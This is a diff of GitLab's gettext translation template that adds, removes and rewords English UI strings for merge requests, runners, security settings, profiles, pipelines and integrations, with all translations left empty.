@@ -21701,9 +22054,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21866,6 +22216,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21881,6 +22237,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21926,22 +22285,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -22061,6 +22411,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22702,6 +23064,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22955,9 +23320,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -23108,9 +23470,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -23135,6 +23494,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23340,6 +23702,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23376,6 +23741,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23571,6 +23939,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23619,9 +23990,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23664,6 +24041,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23685,6 +24065,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23782,6 +24165,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -24005,7 +24391,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -24161,7 +24547,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24245,6 +24631,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24335,19 +24727,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24369,6 +24761,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24408,6 +24806,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24429,6 +24830,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24447,7 +24851,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24687,6 +25091,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -25045,6 +25452,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25141,9 +25551,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25396,6 +25803,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25711,9 +26124,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25843,6 +26253,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25858,9 +26271,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25951,10 +26361,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -26095,6 +26505,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26122,9 +26535,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26365,7 +26775,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26647,7 +27057,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26668,13 +27078,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26716,13 +27126,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -27052,9 +27465,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -27133,6 +27543,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27400,12 +27813,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27475,6 +27894,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27499,6 +27921,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27520,6 +27945,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27724,6 +28155,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27931,6 +28365,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27949,9 +28386,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28312,6 +28755,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28474,6 +28920,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28588,6 +29037,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28691,9 +29146,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28863,6 +29315,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28890,6 +29345,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28899,6 +29357,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -29016,15 +29480,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -29040,6 +29504,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -29109,6 +29576,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -29133,6 +29603,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29320,6 +29793,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29341,6 +29817,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29359,6 +29838,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29437,7 +29919,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29452,6 +29934,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29473,6 +29961,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29512,6 +30003,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29583,6 +30077,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29903,6 +30400,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29957,6 +30457,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29969,6 +30472,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29990,6 +30496,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -30002,12 +30511,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -30041,6 +30556,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -30050,6 +30568,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -30080,12 +30601,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -30143,19 +30670,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30236,21 +30769,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30649,6 +31167,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30673,6 +31194,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30721,7 +31245,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30736,7 +31260,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30748,7 +31272,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30808,6 +31332,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30817,6 +31344,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30841,6 +31371,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30910,7 +31446,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30919,6 +31458,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30940,6 +31482,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -31159,7 +31707,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -31192,6 +31740,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31330,6 +31881,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31534,9 +32088,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31636,7 +32187,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31648,6 +32208,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31693,6 +32256,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31774,6 +32340,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31831,9 +32400,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31910,9 +32476,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31979,6 +32542,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31994,6 +32578,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
